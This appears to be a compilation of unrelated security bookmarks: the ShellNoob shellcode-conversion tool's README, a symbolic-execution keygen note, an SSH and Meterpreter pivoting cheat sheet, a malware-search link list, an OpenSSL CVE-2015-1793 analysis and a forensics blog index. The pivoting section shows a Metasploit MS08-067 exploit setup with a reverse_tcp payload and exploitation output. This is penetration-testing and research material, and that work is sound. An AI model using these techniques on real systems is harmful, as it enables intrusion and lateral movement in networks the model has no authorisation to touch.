    shellnoob.py --64 (64 bits mode, default: 32 bits)
    shellnoob**.** py --intel (intel syntax mode, default: att)
    shellnoob**.** py -q (quite mode)
    shellnoob**.** py -v (or -vv, -vvv)
    shellnoob**.** py --to-strace (compiles it & run strace)
    shellnoob**.** py --to-gdb (compiles it & run gdb & set breakpoint on entrypoint)
    
    Standalone "plugins"
    shellnoob**.** py -i [--to-asm | --to-opcode ] (for interactive mode)
    shellnoob**.** py --get-const <const>
    shellnoob.py --get-sysnum <sysnum>
    shellnoob**.** py --get-errno <errno>
    shellnoob.py --file-patch <exe_fp> <file_offset> <data> (in hex)**.** (Warning: tested only on x86/x86_64)
    shellnoob**.** py --vm-patch <exe_fp> <vm_address> <data> (in hex)**.** (Warning: tested only on x86/x86_64)
    shellnoob**.** py --fork-nopper <exe_fp> (this nops out the calls to fork()**.** Warning: tested only on x86/x86_64)
    
    "Installation"
    shellnoob**.** py --install [--force] (this just copies the script in a convinient position)
    shellnoob**.** py --uninstall [--force]
    
    Supported INPUT format: asm, obj, bin, hex, c, shellstorm
    Supported OUTPUT format: asm, obj, exe, bin, hex, c, completec, python, bash, ruby, pretty, safeasm
    All combinations from INPUT to OUTPUT are supported**!**
    
[/code]

###  Installation \(only if you want****\)

[code]

    $ **.** /shellnoob.py --install
    
[/code]

This will just copy the script to /usr/local/bin/snoob**.** That's it. \(Run
`./shellnoob.py --uninstall` to undo\)**.**

###  Convert shellcode from/to different formats with a uber flexible CLI**.**

[code]

    $ snoob --from-asm shell.asm --to-bin shell.bin
    
[/code]

Some equivalent alternatives \(the tool will try to guess what you want given
the file extension..\)

[code]

    $ snoob --from-asm shell.asm --to-bin
    $ snoob shell.asm --to-bin
    $ snoob shell.asm --to-bin - > shell.bin
    $ cat shell.asm | snoob --from-asm - --to-bin - > shell.bin
    
[/code]

###  Formats description****

  * "asm" \- standard assembly**.** ATT syntax by default, use `--intel` to use Intel syntax**.** \(see "asm as output" section for more details\)
  * "bin" \- raw binary \('\x41\x42\x43\x44'\)
  * "hex" \- raw binary encoded in hex \('41424344'\)
  * "obj" \- an ELF
  * "exe" \- an executable ELF
  * "c" \- something ready to embed in a C program**.**
  * "python", "bash", "ruby" \- same here**.**
  * "completec" \- compilable C that properly set the memory as RWX \(to support self-modifying shellcodes\)
  * "safeasm" \- assembly that is 100% assemblable: sometimes objdump's output, from which the "asm" is taken, is not assemblable**.** This will output the "raw" bytes \(in .byte notation\) so that it's assemblable by "as"**.**
  * "shellstorm" \- The `--from-shellstorm` switch takes as argument a **.** ShellNoob will grab the selected shellcode from the shell-storm shellcode DB, and it will convert it to the selected format**.**

###  Easy debugging****

[code]

    $ snoob -c shell.asm --to-exe shell
    $ gdb -q shell
    $ run
    Reading symbols from **.** /shell...(no debugging symbols found)...done**.**
    (gdb) run
    Starting program: **.** /shell
    
    Program received signal SIGTRAP, Trace/breakpoint trap**.**
    0x08048055 in ?**?** ()
    (gdb) 
    
[/code]

Or you can use the new `--to-strace` and `--to-gdb` switches**\!**

[code]

    $ snoob open-read-write.asm --to-strace
    Converting open-read-write.asm (asm) into /tmp/tmpBaQbzP (exe)
    execve("/tmp/tmpBaQbzP", ["/tmp/tmpBaQbzP"], [/* 97 vars */]) = 0
    [ Process PID=12237 runs in 32 bit mode**.** ]
    open("/tmp/secret", O_RDONLY)           = 3
    read(3, "thesecretisthedolphin\n", 255) = 22
    write(1, "thesecretisthedolphin\n", 22thesecretisthedolphin
    ) = 22
    _exit(0)  
    
[/code]

[code]

    $ snoob open-read-write.asm --to-gdb
    Converting open-read-write.asm (asm) into /tmp/tmpZdImWw (exe)
    Reading symbols from /tmp/tmpZdImWw..**.**(no debugging symbols found)...done**.**
    (gdb) Breakpoint 1 at 0x8048054
    (gdb)
    
[/code]

Note how ShellNoob automatically sets a breakpoint on the entry point**\!**

###  Get syscall numbers, constants and errno \(now implemented for real****
:-\)\)

[code]

    $ snoob --get-sysnum read
    i386 ~> 3
    x86_64 ~> 0
    $ snoob --get-sysnum fork
    i386 ~> 2
    x86_64 ~> 57
    
[/code]

[code]

    $ snoob --get-const O_RDONLY
    O_RDONLY ~> 0
    $ snoob --get-const O_CREAT
    O_CREAT ~> 64
    $ snoob --get-const EINVAL
    EINVAL ~> 22
    
[/code]

[code]

    $ snoob --get-errno EINVAL
    EINVAL ~> Invalid argument
    $ snoob --get-errno 22
    22 ~> Invalid argument
    $ snoob --get-errno EACCES
    EACCES ~> Permission denied
    $ snoob --get-errno 13
    13 ~> Permission denied
    
[/code]

###  Interactive mode****

[code]

    $ **.** /shellnoob.py -i --to-opcode
    asm_to_opcode selected
    >> mov %eax, %ebx
    mov %eax, %ebx ~> 89c3
    >> 
    
[/code]

[code]

    **.** /shellnoob.py -i --to-asm
    opcode_to_asm selected
    >> 89c3
    89c3 ~> mov %eax,%ebx
    >>
    
[/code]

###  ShellNoob as a library****

[code]

    $ python
    >>> from shellnoob import ShellNoob
    >>> sn = ShellNoob(flag_intel=True)
    
    >>> sn**.** asm_to_hex('nop; mov ebx,eax; xor edx,edx')
    '9089c331d2'
    >>> sn**.** hex_to_inss('9089c331d2')
    ['nop', 'mov ebx,eax', 'xor edx,edx']
    
    >>> sn**.** do_resolve_syscall('fork')
    i386 ~> 2
    x86_64 ~> 57
    
[/code]

###  Asm as ouput format****

When "asm" is the output format, ShellNoob will try its best**.** Objdump is
used as disassembler, but its output is not bullet-proof**.** ShellNoob tries
to augment the disasm by adding the bytes \(.byte notation\), and, when
appropriate, it will display the equivalent in ASCII \(.ascii notation\)**.**
This is useful when you want to modify/assemble the output of objdump but you
need to do a quick fix**.**

Example with the .byte notation:

[code]

    jmp 0x37              # .byte 0xeb,0x35      
    pop %ebx              # .byte 0x5b          
    mov %ebx,%eax         # .byte 0x89,0xd8      
    add $0xb,%eax         # .byte 0x83,0xc0,0x0b 
    xor %ecx,%ecx         # .byte 0x31,0xc9      
    
[/code]

Example with the .ascii notation:

[code]

    das                   # .ascii "/"
    je 0xac               # .ascii "tm"
    jo 0x70               # .ascii "p/"
    jae 0xa8              # .ascii "se"
    arpl %si,0x65(%edx)   # .ascii "cre"
    je 0xa0               # .ascii "tX
    
[/code]

##  Acknowledgments****

Huge **THANKS**\!**** to the @ToolsWatch & Black Hat crews**\!** :-\)

****

# How To Make Java Ignore IPv6 @ The Dumping Ground

**Created:**| _3/15/2010 10:22:53 PM_  
---|---  
**Updated:**| _3/15/2010 10:23:01 PM_  
**Author:**| __  
**Tags:**| _bookmark Java_  
  
-Djava.net.preferIPv4Stack=true.

# OpenRCE

**Created:**| _3/12/2012 3:52:32 PM_  
---|---  
**Updated:**| _3/12/2012 2:52:58 PM_  
**Author:**| __  
**Tags:**| _iDA awesome SMT il_  
  
**\[video\] Semi-Automated Input Crafting by Symbolic Execution, with an
Application to Automatic Key Generator Generation****Author:** RolfRolles <img
src='img/Temp2_5897.gif' />| **\# Views:** 3366  
---|---  
  
  
  
  
  
  
  
  
Kao's Toy Project  
  
  
  
`  
.text:004010F7 mov esi, offset a_ActivationCode  
.text:004010FC lea edi, [ebp+Output]  
.text:004010FF mov edx, [ebp+arg_0__SerialDwLow]  
.text:00401102 mov ebx, [ebp+arg_4__SerialDwHigh]  
.text:00401105  
.text:00401105 compute_output:  
.text:00401105 lodsb  
.text:00401106 sub al, bl  
.text:00401108 xor al, dl  
.text:0040110A stosb  
.text:0040110B rol edx, 1  
.text:0040110D rol ebx, 1  
.text:0040110F loop compute_output  
.text:00401111 mov byte ptr [edi], 0  
.text:00401114 push offset String2 ; "0how4zdy81jpe5xfu92kar6cgiq3lst7"  
.text:00401119 lea eax, [ebp+Output]  
.text:0040111C push eax ; lpString1  
.text:0040111D call lstrcmpA  
`  
  
  
  
  
  
SMT instance`C:\Program Files (x86)\Microsoft Research\Z3-3.2\bin>z3 /m /smt2
\temp\kao.smt`  
  
  
  
  
  
  
  
  
Trace generation  
  
Trace simplificationabstract interpretation  
  
Constraint generation and solving  
  
actual video depicting the process  
  
  
  
  
  
  
  
  
  
  
  
  
  
  

# SSH & Meterpreter Pivoting Techniques

**Created:**| _3/22/2015 3:56:16 PM_  
---|---  
**Updated:**| _3/22/2015 3:56:16 PM_  
**Author:**| __  
**Tags:**| _Metasploit ssh_  
  

# SSH & Meterpreter Pivoting Techniques∞

penetration testing

20 Mar 2015

## WTF is Pivoting?

**Pivoting** is a technique used to route traffic through a compromised host
on a penetration test.

When conducting an external penetration test you may need to route traffic
through a compromised machine in order to compromise internal targets.

**Pivoting** , allows you to leverage tools on your attacking machine while
routing traffic through other hosts on the subnet, and potentially allowing
access to other subnets.

## SSH Pivoting Cheatsheet

### SSH Port Forwarding

Command| Description  
---|---  
`ssh -L 9999:10.0.2.2:445 user@192.168.2.250` |  Port 9999 locally is forwarded to port 445 on 10.0.2.2 through host 192.168.2.250  
### SSH Port Forwarding with Proxychains

Command| Description  
---|---  
`ssh -D 127.0.0.1:9050 root@192.168.2.250` |  Dynamically allows all port forwards to the subnets availble on the target.  
##### Dynamic Proxychain Warning

Dynamic Proxychain SSH port forwarding does not work with nmap and metasploits
meterpreter shells won't spawn.

If you attempt to spawn a shell via Meterpreter, you’ll get an error similar
to the following:

[code]

    meterpreter > execute -f cmd.exe -i -H
    S-chain-<>-127.0.0.1:9050-<><>-127.0.0.1:41713-<--timeout
[/code]

### Using Proxychain port forwards

When using a Proxychain port forward, all commands need to be prefixed with
the proxychain command, this instructs the application traffic to route
through the proxy.

## Configure Metasploit to use a SSH Pivot

The following is an example of how to configure Metersploit to use a SSH
portward. In this example port 9999 is forwarded to the target and the
attacking machine has an IP address of 192.168.2.100:

[code]

    Setup the port forward instructions above,  configure msfconsole as follows using MS08_067 in this example. 
    
     msf exploitms08_067_netapi > show options
    
     Module options exploit/windows/smb/ms08_067_netapi:
    
        Name     Current Setting  Required  Description
        ----     ---------------  --------  -----------
       RHOST    0.0.0.0          yes       The target address
        RPORT                 yes       Set the SMB service port
        SMBPIPE  BROWSER          yes       The pipe name to use BROWSER, SRVSVC
    
    
     Payload options windows/meterpreter/reverse_tcp:
    
        Name      Current Setting  Required  Description
        ----      ---------------  --------  -----------
       EXITFUNC  thread           yes       Exit technique accepted: seh, thread, process, none
        LHOST     192.168.2.100   yes       The listen address
        LPORT                   yes       The listen port
    
    
     Exploit target:
    
        Id  Name
        --  ----
          Automatic Targeting
[/code]

### Don’t use 127.0.0.1 with Metasploit

The example above uses 0.0.0.0 **Not 127.0.0.1** , never use 127.0.0.1 with
Metasploit or you’ll get the following error after you attempt to do anything
post exploit:

[code]

    exploitms08_067_netapi > exploit
    
     * Started reverse handler on 192.168.14.183:443 
     * Automatically detecting the target...
     * Fingerprint: Windows XP - Service Pack  - lang:English
     * Selected Target: Windows XP SP3 English AlwaysOn NX
     * Attempting to trigger the vulnerability...
     * Sending stage 769536 bytes to 192.168.15.252
    
    msf meterpreter > getuid
     - Session manipulation failed: Validation failed: Address is reserved "/opt/metasploit/apps/pro/ui/vendor/bundle/ruby/1.9.1/gems/activerecord-3.2.17/lib/active_record/validations.rb:56:in `save!'", "/opt/metasploit/apps/pro/ui/vendor/bundle/ruby/1.9.1/gems/activerecord-3.2.17/lib/active_record/attribute_methods/dirty.rb:33:in `save!'", "/opt/metasploit/apps/pro/ui/vendor/bundle/ruby/1.9.1/gems/activerecord-3.2.17/lib/active_record/transactions.rb:264:in `block in save!'", "/opt/metasploit/apps/pro/ui/vendor/bundle/ruby/1.9.1/gems/activerecord-3.2.17/lib/active_record/transactions.rb:313:in `block in with_transaction_returning_status'", "/opt/metasploit/apps/pro/ui/vendor/bundle/ruby/1.9.1/gems/activerecord-3.2.17/lib/active_record/connection_adapters/abstract/database_statements.rb:192:in `transaction'", "/opt/metasploit/apps/pro/ui/vendor/bundle/ruby/1.9.1/gems/activerecord-3.2.17/lib/active_record/transactions.rb:208:in `transaction'", "/opt/metasploit/apps/pro/ui/vendor/bundle/ruby/1.9.1/gems/activerecord-3.2.17/lib/active_record/transactions.rb:311:in `with_transaction_returning_status'", "/opt/metasploit/apps/pro/ui/vendor/bundle/ruby/1.9.1/gems/activerecord-3.2.17/lib/active_record/transactions.rb:264:in `save!'", "/opt/metasploit/apps/pro/msf3/lib/msf/core/db.rb:377:in `block in report_host'", "/opt/metasploit/apps/pro/ui/vendor/bundle/ruby/1.9.1/gems/activerecord-3.2.17/lib/active_record/connection_adapters/abstract/connection_pool.rb:129:in `with_connection'", "/opt/metasploit/apps/pro/msf3/lib/msf/core/db.rb:323:in `report_host'", "/opt/metasploit/apps/pro/msf3/lib/msf/core/db.rb:2031:in `block in report_event'", "/opt/metasploit/apps/pro/ui/vendor/bundle/ruby/1.9.1/gems/activerecord-3.2.17/lib/active_record/connection_adapters/abstract/connection_pool.rb:129:in `with_connection'", "/opt/metasploit/apps/pro/msf3/lib/msf/core/db.rb:2025:in `report_event'", "/opt/metasploit/apps/pro/msf3/lib/msf/core/framework.rb:222:in `report_event'", "/opt/metasploit/apps/pro/msf3/lib/msf/core/framework.rb:331:in `session_event'", "/opt/metasploit/apps/pro/msf3/lib/msf/core/framework.rb:408:in `block in on_session_output'", "/opt/metasploit/apps/pro/msf3/lib/msf/core/framework.rb:407:in `each'", "/opt/metasploit/apps/pro/msf3/lib/msf/core/framework.rb:407:in `on_session_output'", "/opt/metasploit/apps/pro/msf3/lib/msf/core/event_dispatcher.rb:183:in `block in method_missing'", "/opt/metasploit/apps/pro/msf3/lib/msf/core/event_dispatcher.rb:181:in `each'", "/opt/metasploit/apps/pro/msf3/lib/msf/core/event_dispatcher.rb:181:in `method_missing'", "/opt/metasploit/apps/pro/msf3/lib/msf/core/session_manager.rb:242:in `block in register'", "/opt/metasploit/apps/pro/msf3/lib/rex/ui/text/shell.rb:271:in `call'", "/opt/metasploit/apps/pro/msf3/lib/rex/ui/text/shell.rb:271:in `print_error'", "/opt/metasploit/apps/pro/msf3/lib/rex/ui/text/dispatcher_shell.rb:436:in `unknown_command'", "/opt/metasploit/apps/pro/msf3/lib/rex/ui/text/dispatcher_shell.rb:411:in `run_single'", "/opt/metasploit/apps/pro/msf3/lib/rex/post/meterpreter/ui/console.rb:68:in `block in interact'", "/opt/metasploit/apps/pro/msf3/lib/rex/ui/text/shell.rb:190:in `call'", "/opt/metasploit/apps/pro/msf3/lib/rex/ui/text/shell.rb:190:in `run'", "/opt/metasploit/apps/pro/msf3/lib/rex/post/meterpreter/ui/console.rb:66:in `interact'", "/opt/metasploit/apps/pro/msf3/lib/msf/base/sessions/meterpreter.rb:396:in `_interact'", "/opt/metasploit/apps/pro/msf3/lib/rex/ui/interactive.rb:49:in `interact'", "/opt/metasploit/apps/pro/msf3/lib/msf/ui/console/command_dispatcher/core.rb:1745:in `cmd_sessions'", "/opt/metasploit/apps/pro/msf3/lib/rex/ui/text/dispatcher_shell.rb:427:in `run_command'", "/opt/metasploit/apps/pro/msf3/lib/rex/ui/text/dispatcher_shell.rb:389:in `block in run_single'", "/opt/metasploit/apps/pro/msf3/lib/rex/ui/text/dispatcher_shell.rb:383:in `each'", "/opt/metasploit/apps/pro/msf3/lib/rex/ui/text/dispatcher_shell.rb:383:in `run_single'", "/opt/metasploit/apps/pro/msf3/lib/msf/ui/console/command_dispatcher/exploit.rb:142:in `cmd_exploit'", "/opt/metasploit/apps/pro/msf3/lib/rex/ui/text/dispatcher_shell.rb:427:in `run_command'", "/opt/metasploit/apps/pro/msf3/lib/rex/ui/text/dispatcher_shell.rb:389:in `block in run_single'", "/opt/metasploit/apps/pro/msf3/lib/rex/ui/text/dispatcher_shell.rb:383:in `each'", "/opt/metasploit/apps/pro/msf3/lib/rex/ui/text/dispatcher_shell.rb:383:in `run_single'", "/opt/metasploit/apps/pro/msf3/lib/rex/ui/text/shell.rb:200:in `run'", "/opt/metasploit/apps/pro/msf3/msfconsole:148:in `<main>'"
[/code]

## Meterpreter Pivoting Cheatsheet

Assuming you’ve compromised the target machine and have a meterpreter shell,
you can pivot through it by setting up a **meterpreter port forward**.

Command| Description  
---|---  
`portfwd add –l 3389 –p 3389 –r target-host` |  Forwards 3389 \(RDP\) to 3389 on the compromised machine running the Meterpreter shell  
##### Meterpreter Port Forwards are flakey

Meterpreter port forwards can be a bit flakey, also the meterpreter session
needs to be remain open.

In order to connect to the compromised machine you would run:

## Pivoting Example Diagrams

Pivoting can be a bit hard to understand on paper, so here are some diagrams
for clarification with the associated commands.

<img src='img/Temp2_7202.png' alt='Brace for Wonky Visio Arrows' />

### Starting Point

You’ll need to have access to a compromised machine on the target network,
depending on the compromised machines configuration you may or may not need
root.

<img src='img/Temp2_7200.png' alt='SSH Pivot Example 1: Starting Point' />

### Routing Traffic to the Same Subnet

<img src='img/Temp2_7201.png' alt='Pivot Example 2: Routing traffic to the
same subnet' />

#### Example commands

##### SSH Pivoting using Proxychains

You could then connect to Target 2’s RDP server using:

##### SSH Port Forwarding Command

You could then connect to Target 2’s RDP server using:

### SSH and Meterpreter Pivoting

This example uses SSH pivoting and Meterpreter port forwarding to access
machines on subnet 2.

<img src='img/Temp2_7203.png' alt='Pivot Example 3: Using SSH and Meterpreter
Pivoting to access another subnet' />

#### Example commands

The above commands would be leveraged to reach **Target 2** , from **Target
2** to **Target 3** , meterpreter would be used. Follow the meterpreter
portwarding example above for a MS08-067 example.

If this was helpfull, click tweet below.

Enjoy.

* * *
Follow @Arr0way \- resistence is futile...

Tweet

# Worked for me: Malware Analysis Search

**Created:**| _11/10/2010 8:06:26 AM_  
---|---  
**Updated:**| _11/10/2010 8:06:48 AM_  
**Author:**| __  
**Tags:**| _Malware-analysis searching_  
  

### Malware Analysis Search

This is a custom Google that searches anti-virus analysis pages, malware
analysis blogs and other related malware/RCE websites. Currently about 75
different sites are used. This helps with removing all the clutter of forums
and other useless search results. Sometimes when looking at malware I want to
know if someone else has already analyzed it. Hopefully this will be helpful.  
  
Easily Memorable Google Hosted Link \(Thanks Google\!\)  
http://www.google.com/cse/home?cx=011750002002865445766:pc60zx1rliu  
  
Currently the following sites are being searched.  
http://xml.ssdsandbox.net/archive/  
http://www.threatexpert.com/report.aspx?  
http://www.virustotal.com/file-scan/  
http://blog.fireeye.com/  
http://blogs.technet.com/b/mmpc/  
http://www.microsoft.com/security/portal/Threat/Encyclopedia/  
http://vrt-sourcefire.blogspot.com/  
http://community.websense.com/blogs/securitylabs/  
http://blog.scansafe.com/  
http://www.f-secure.com/weblog/  
http://www.f-secure.com/v-descs/  
http://blog.fortinet.com/  
http://www.fortiguard.com/encyclopedia/virus/  
http://www.securelist.com/en/  
http://www.prevx.com/blog.asp  
http://research.pandasecurity.com/  
http://www.pandasecurity.com/homeusers/security-info/about-
malware/encyclopedia/  
http://www.avira.com/en/support-threats-summary/  
http://techblog.avira.com/en/  
http://eureka.cyber-ta.org/  
http://twitter.com/taviso/  
http://twitter.com/sans\_isc/  
http://twitter.com/RolfRolles/  
http://twitter.com/rcecoder/  
http://twitter.com/pedramamini/  
http://twitter.com/OComputing/  
http://twitter.com/ochsff/  
http://twitter.com/nicolasbrulez/  
http://twitter.com/nickharbour/  
http://twitter.com/msuiche/  
http://twitter.com/mlsau/  
http://twitter.com/mikkohypponen/  
http://twitter.com/mdowd/  
http://twitter.com/jvanegue/  
http://twitter.com/j00ru/  
http://twitter.com/Ivanlef0u/  
http://twitter.com/hdmoore/  
http://twitter.com/halvarflake/  
http://twitter.com/erocarrera/  
http://twitter.com/DidierStevens/  
http://twitter.com/egyp7/  
http://twitter.com/dinodaizovi/  
http://twitter.com/codypierce/  
http://twitter.com/attractr/  
http://twitter.com/alexsotirov/  
http://bugix-security.blogspot.com/  
http://seclists.org/\#fulldisclosure  
http://blog.trendmicro.com/  
http://www.exploit-db.com/  
http://xanalysis.blogspot.com/  
http://research.zscaler.com/  
http://jsunpack.blogspot.com/  
http://www.sophos.com/security/analyses/  
http://www.symantec.com/security\_response/  
http://www.symantec.com/connect/blogs/  
http://vil.nai.com/vil/content/  
http://blogs.mcafee.com/mcafee-labs/  
  
Reviewing the links you might have noticed a lot of twitter feeds. These are
useful for finding information on exploits or 0days. I just started ripping
through my RSS feed and will be adding more sites as I come across them. If
I'm missing something please leave a comment.  
  
Give it a shot.

# OpenSSL CVE-2015-1793: Separating Fact from Hype

**Created:**| _7/16/2015 12:29:16 PM_  
---|---  
**Updated:**| _7/16/2015 12:30:28 PM_  
**Author:**| __  
**Tags:**| _ssl_  
  

  

A vulnerability that allows attackers to create their malicious certificates
without depending on any external and trustworthy CAs was fixed in the newest
version of the open-source software OpenSSL released July 9.

Identified as CVE-2015-1793 \(Alternative Chains certificate forgery\) and
rated with “high severity”, the vulnerability allows attackers to use
certificates to produce other valid Certificates even if the signing
certificate is not recognized by a Certificate Authority \(CA\).

Using the proof of concept \(POC\) provided by the OpenSSL team, along with
examples tested using the OpenSSL SSL/TLS server and client applications, we
decided to look further into this vulnerability.

**_Alternative certificate chains_**

Before we get into the vulnerability itself, let’s first look at how
certificates work in a SSL environment. To validate a certificate a complete
chain or hierarchy of certificates must be validated. If in that process some
certificate in the hierarchy is missing or wrong then it is possible to
initiate an alternative validation finding other certificates with the same
_Issuer Name_. If the certificate to be validated is correctly verified using
the Alternative Chain then it is trusted.

When using OpenSSL applications, clients, and server, the certificate
validation process uses two main sources of certificates. One is the
certificates provided by server to the client or by the client to the server
in case of client authentication, the other one is the configured certificate
store. OpenSSL validates the certificate chain using both sources from which a
certificate chain is built.

<img src='img/Temp2_5957.png' />

_Figure 1. Certificate validation process_

The diagram above shows the scenario where the client is establishing a
SSL/TLS channel with the server and server sends one of the following
certificate chains in the SSL/TLS response \( _A, B_ , and _C_ , where _A_ is
the main SSL/TLS certificate\). The client is able to create two possible
certificate chains based on the server response and the Trust Storage
certificates: Chain 1 and Alternative Chain. If the server cannot validate
Chain 1 then the Alternative Chain is validated. Note that it is possible to
build the Alternative Chain because the Issuer Name _B_ matches with J.

That is the process to implement Alternative Chain validation. One important
aspect to note is that the client must have the _J_ certificate inside the
Trust Storage, otherwise the Alternative Chain Validation process never will
start.

**_The alternative chains certificate forgery vulnerability_**

The vulnerability exists in the last implementation of the Alternative Chain
validation in OpenSSL, which allows the creation of a rogue certificate chain
that can be successfully validated. The OpenSSL team has released a POC of the
said chain, which can show how validation can be bypassed.

The POC contains six certificates and one storage labeled _Roots_.

<img src='img/Temp2_5955.png' />

_Figure 2. POC setup_

There are several important details to note about this chain:

  * The certificate Leaf is signed by the _subinterCA_ , but there is another certificate, _subinterCA-ss_ , which contains the same Issuer Name as _subinterCA_ and is self-signed.
  * _Leaf_ is not a certificate authorized to sign or validate other certificates. It is simply a client certificate.

Based on this premise, the attack can be implemented as the diagram below
shows.

<img src='img/Temp2_5956.png' />

_Figure 3. Exploiting the vulnerability_

We can see the server sending three certificates to the client and the client
will accept them as a valid certificate chains, even if the chain is broken
because the _Leaf_ certificate is a rogue one. With that configuration, the
client is able to build two certificate chains as the image below shows.

<img src='img/Temp2_5958.png' />

_Figure 4. Two certificate chains_

The client side attempts to validate Chain 1 but fails and moves on to the
Alternative Chain. The client builds the Alternative Chain because the
certificate _subinterCA-ss_**,** in the client Trusted Storage, matches with
the Issuer Name of the _Leaf_ certificate. However, in the process of building
the new chain, the client ends up tracking as if the final chain to be
validated contains only one certificate.

In the image below, we can see the vulnerable code section _\(x509\_vfy.c :
X509\_verify\_cert\(\)\)_.

<img src='img/Temp2_5960.png' />

_Figure 5. Snippet of the vulnerable code_

The counter _last\_untrusted_ is reduced in the wrong place and the final
value for this case will be 1. This error is critical because once the
Alternative Chain is built, the validation of the chain extensions relies on
_the last\_untrusted_ counter value. The actual validation happens in the
section below:

<img src='img/Temp2_5952.png' />

_Figure 6. Code snippet_

Inside the method _check\_chain\_extension\(\)_ , we can see that because
_last\_untrusted = 1_ , the method _check\_chain\_extension\(\)_ returns as
true, with all the extensions in the completed chain as correctly validated.

<img src='img/Temp2_5954.png' />

_Figure 7. Certificates are accepted as valid_

** _Attacks Scenarios_**

The vulnerability affects how the certificate chain is validated, which
attackers can exploit to use any kind of certificate to sign other
certificates. In theory, two types of attack can be implemented:

The first is the man-in-the-middle \(MITM\) attack, wherein an attacker sends
a malicious chain to the client. Note the same can be applicable to attack a
client or impersonate it when using SSL/TLS client authentication.

<img src='img/Temp2_5953.png' />

_Figure 8. Diagram of a MITM attack_

The second type of attack involves using a rogue SSL/TLS server to implement
phishing attacks. This can be done with the attacker controlling the SSL/TLS
server.

<img src='img/Temp2_5959.png' />

_Figure 9. Phishing attack by way of controlled server_

** _Conclusion_**

The vulnerability allows the creation of a certificate hierarchy can be
validated successfully, even when some of the intermediate certificates are
not vouched by any CA. This can be exploited, which can lead to attacks,
including MITM attacks.

While the vulnerability is rated as severe, the attack surface is very limited
due to the following conditions:

  * The server and client Trust Storage must contain a certificate that must match to trigger the Alternative Chain processing.
  * The certification validation process can be implemented outside of OpenSSL, even when some applications use OpenSSL.
  * Commonly used browsers–Internet Explorer, Firefox, Safari and Chrome—do not use OpenSSL, which reduces the chances of being affected by this bug.

While popular browsers may not use OpenSSL, there are other products that do
so. Developers of open source products and commercial software that rely on
OpenSSL need to assess if their products are affected and apply the patch if
needed.

Vulnerability protection in Trend Micro Deep Security protects systems from
threats that may leverage this issue with the following DPI rules:

  * 1006855 – OpenSSL Alternative Chains Certificate Forgery Security Bypass Vulnerability \(CVE-2015-1793\)
  * 1006856 – OpenSSL Client Alternative Chains Certificate Forgery Security Bypass Vulnerability \(CVE-2015-1793\)

# Timeline Explorer 0.5.0.0 released

**Created:**| _5/23/2017 12:57:55 PM_  
---|---  
**Updated:**| _5/23/2017 12:57:55 PM_  
**Author:**| __  
**Tags:**| _bookmark Forensics_  
  

  

<img src='img/10915_1.png' width='30' height='30' />

###  Timeline Explorer 0.5.0.0 released

<img src='img/Interface.png' width='30' height='30' />

###  Introducing Timeline Explorer v0.4.0.0

<img src='img/win10.jpg' width='30' height='30' />

###  Windows 10 Creators update vs shimcache parsers: Fight\!\!

2

<img src='img/corpus.png' width='30' height='30' />

###  ShellBags Explorer 0.9.0.0 released\!

1

<img src='img/legend.png' width='30' height='30' />

###  ShellBags Explorer v0.8.0.0 released\!

1

###  Benchmark followup: Big\(ger\) data and Raw vs E01

1

###  JLECmd v0.9.6.0 released

2

###  Let the benchmarks hit the floor: Autopsy vs Encase vs FTK vs X-Ways \(in
depth testing\)

39

<img src='img/rvs.png' width='30' height='30' />

###  Workflow overview

4

<img src='img/fi.png' width='30' height='30' />

###  Registry Explorer 0.8.1.0 released\!

3

<img src='img/appMain.jpg' width='30' height='30' />

###  AppCompatCacheParser v0.9.0.0 released and some AppCompatCache/shimcache
parser testing

4

<img src='img/bs11.jpg' width='30' height='30' />

###  bstrings v1.1 released\!

<img src='img/70.jpg' width='30' height='30' />

###  LECmd and JLECmd updated

1

<img src='img/autoDest.jpg' width='30' height='30' />

###  PECmd, LECmd, and JLECmd updated\!

1

<img src='img/jleMain.jpg' width='30' height='30' />

###  Introducing JLECmd\!

5

<img src='img/jumplist.jpg' width='30' height='30' />

###  Jump lists in depth: Understand the format to better understand what your
tools are \(or aren't\) doing

6

<img src='img/qq.jpg' width='30' height='30' />

###  LECmd v0.6.0.0 released\!

<img src='img/10897_opt.png' width='30' height='30' />

###  Introducing LECmd\!

5

<img src='img/options.png' width='30' height='30' />

###  bstrings 1.0 released\!

<img src='img/10893_opt.png' width='30' height='30' />

###  bstrings 0.9.9.0 released\!

<img src='img/10922_options.png' width='30' height='30' />

###  PECmd v0.6.0.0 released

<img src='img/opt.png' width='30' height='30' />

###  Introducing PECmd\!

1

<img src='img/2016-01-19_14-18-01.png' width='30' height='30' />

###  Windows Prefetch parser in C\#

<img src='img/key.png' width='30' height='30' />

###  Registry values starting with a NULL character

1

<img src='img/xwRegViewer.png' width='30' height='30' />

###  Registry Explorer plugin overview

1

<img src='img/10933_err.png' width='30' height='30' />

###  XWFIM version 1.5 available\!

2

<img src='img/err.png' width='30' height='30' />

###  bstrings 0.9.8.0 released

<img src='img/cmd.png' width='30' height='30' />

###  bstrings 0.9.7.0 released

2

<img src='img/overview.png' width='30' height='30' />

###  Registry hive basics part 5: Lists

###  A few updates

<img src='img/10918_re.png' width='30' height='30' />

###  AmcacheParser: Reducing the noise, finding the signal

<img src='img/new+ops.png' width='30' height='30' />

###  bstrings 0.9.5.0 released

<img src='img/re.png' width='30' height='30' />

###  bstrings 0.9.0.0 released

<img src='img/10928_cmd.png' width='30' height='30' />

###  Introducing bstrings, a Better Strings utility\!

<img src='img/RECmdDirs.png' width='30' height='30' />

###  Registry Explorer/RECmd 0.7.1.0 released\!

5

<img src='img/547327.jpg' width='30' height='30' />

###  Reintroducing Registry Explorer and RECmd\!

<img src='img/10908_2.png' width='30' height='30' />

###  RECmd 0.6.1.0 released\!

<img src='img/dates.png' width='30' height='30' />

###  RECmd 0.6.0.0 released\!

<img src='img/cmdLine.png' width='30' height='30' />

###  Introducing RECmd\!

<img src='img/xpsb.png' width='30' height='30' />

###  ShellBags Explorer 0.6.1 released\!

<img src='img/sort.png' width='30' height='30' />

###  AppCompatCacheParser v0.0.5.2 released

<img src='img/2015-05-01_16-46-12.png' width='30' height='30' />

###  AppCompatCacheParser v0.0.5.1 released

<img src='img/10932_cmdLine.png' width='30' height='30' />

###  Introducing AppCompatCacheParser

1

<img src='img/win10Sys.png' width='30' height='30' />

###  AppCompatCache changes in Windows 10

<img src='img/nodeslotRegedit.png' width='30' height='30' />

###  ShellBags Explorer 0.6.0.0 released\!

6

###  The end of XWFRT?

<img src='img/contextNew.png' width='30' height='30' />

###  Registry Explorer 0.0.2.0 released\!

1

<img src='img/SBENew.png' width='30' height='30' />

###  ShellBags Explorer 0.5.4.0 released\!

